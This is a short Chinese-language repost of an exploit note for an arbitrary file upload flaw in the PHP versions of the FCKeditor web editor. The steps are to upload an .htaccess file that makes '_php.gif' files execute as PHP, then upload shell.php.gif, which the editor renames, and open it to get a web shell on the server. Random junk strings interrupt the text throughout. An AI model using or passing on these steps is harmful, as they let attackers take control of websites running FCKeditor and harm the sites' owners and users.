FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 ! I5 ^; \& S& \' U7 p减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 7 x, C2 X3 B. H& o* s& b( S/ F[+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— 1.create a htaccess file: code: <FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch>   |) ?  G6 {+ F( f6 z2.Now upload this htaccess with FCKeditor. 2 T+ G: C# s: t  M. ]8 L http://www.sinesafe.cn/FCKeditor ... er/upload/test.html 5 ?' S- @3 U; h' _' D. [0 D# z http://www.sinesafe.cn/FCKeditor ... onnectors/test.html 1 ^# s/ i0 O- u; X 8 K- k1 t, N: ?" e# l' ?  i———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. 3 Q" X6 j* ]1 g7 u. D4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 8 V! A& [6 n4 m% w9 S' @1 t5.http://www.sinesafe.cn/anything/shell_php.gif % y; E' F. D$ S; e! k1 a0 p6.Now shell is available from server.

, n( O, d# ?5 V3 c# }/ L
4 m- ~& E$ L& D
9 V: ]* X* z% N( E+ Y